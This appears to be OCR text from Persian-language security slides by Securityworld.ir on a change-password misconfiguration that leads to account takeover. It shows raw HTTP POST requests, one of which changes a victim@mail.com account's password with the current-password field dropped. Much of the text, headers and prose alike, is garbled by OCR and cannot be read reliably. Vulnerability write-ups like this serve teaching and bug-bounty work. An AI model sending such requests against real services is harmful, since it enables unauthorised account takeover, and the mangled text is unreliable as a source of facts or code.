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FOET Sk /change-passvord HTTRSZ
I Host: sandboX.site.com

User-Agent: Mosil_.as5 0 (Windsws NT £.1; WOWE4)l AppleWebFiv/537.36 (FHIML, liks Cecko) Chiome /55.0.2833,.87 Safapi/s537, 3E
4 Accept: agpplicationfison, text/plain, =/°

Accspt-Larguage: «n-GCE, en;g=0.5
i Aecept-Encoding: gsip. deilats

Eeferer: Iotp:/ vififecvrycleuTivardn?Twdhvnmhsl an berpeollaboracor . net fref

¥-luchtokan: C4Bd7EEbEScEAbelESELABEIAATI Ea%e

Content=-Type: app.ication/yson;chars+t=wut =10

i1 }-C_-u.':.'h_r.-r ddenitiale 123456783 I ¢
1 Lmen'r-mu -
Origim: hrops:/Ssandbox. sice.cos
4 Te: mrailers

Al Commectior: close
1é Cathe—Control: no-cransfors

{

'e@mAll” i "teinlmail. com"
‘currentFassword®: "LCI458 T80
‘neawPasavord” "rasc@lT3Y |

‘contirzPassword®: "teschlIig”

@ Securityworld.ir i ol Colw wg st



Eﬂm Misconfiguration in Change-password Functionality Leads to Account Takeover
y =" %

SECURITYWORLD

<G 90, CUrrent Password .l L o X_auth_credentials jos v oo v pgad jo a5 j5bcyles

1S o2 gu o0 A gie pu M0 asline jlade

w5 O)lg 1y a2 09 dmr g (a8 0 g Lek> Jol Wb 3 j5m i 61 @
il G 25 sladlpe Y
(o oo S Lx] @
L asS oo (bl ]y jan g, @
fazdl o 3] 4z puiS B> 1, yan 51 @
Toepd ot |y 5l 9)5my adliiion LT oS (D58 65500 (o Jeml Ly looss Jeanl ST @

5 w5 s B3> |, currentPassword il L o X_auth_credentials jos lojen pad gl o
) 38 gy oS pragdioe ol ged Gen OK Yoo Cler (a0d b ot Bise jom & 1) el
S el gZiw, el
~albog X auth_credentials oo 5l cas Gl a5 b Y oams o @
oS solazul ylewlgs o 4o CUrrentPassword

Iy ole ST g puiS oolatnl gaog0 (pl 5l puiled o jaham 14 oS oo Jlow lesgs 5l o)lgs iyl yo
«F S S

Jeoal I L1y Gleogs Joesl 9 muslo oo victim@mail.com el 4 o ClST aclsl o @
sope |y Clgs o o)bgs (LB polie led boow g e oo Loge (VICtIM@mail.com)

o 9 5

@ Securityworld.ir 0 ol Culw wg ST


mailto:victim@mail.com
mailto:victim@mail.com

[ﬂm Misconfiguration in Change-password Functionality Leads to Account Takeover
N

SECURITYWORLD

L POST /hub/change-password HTTR/C
Host: sandbox. site. com
3 User-Agent: Hozillaf5.0 (Windows NT €.1; WOWE4) AppleWebKit/537.3€ (KHTHL, like Gecko) Chrome/55.0.I8083.87
4 Ahccept: application/json, text/plain, */*
S Aecept-Language: en-CEB,en;q=0.5%
¢ Aecept-Encoding: gzip, deflace
7 Referer: hrop://fy98i%ecvyclenTivarinTTwdhinelisl as. burpeollaborator. net /ref
2 M-Authteoken: Z4B8d7&8tbEScEdbelBls8d48859dd7 a5
5 Content=-Type: application/json;charset=ut =g
H-Bub-Version: 2.£.2
Cencent-Length: 110
Origin: hteps: //sandbox. site. com
Te: trailers
i Connection: close

€

5 Cache-Control: no-transform

-1

"email":"victim@mail com”®

"newlassword": "tescBlI34",
"confirmPassword®: "test@1234"

}
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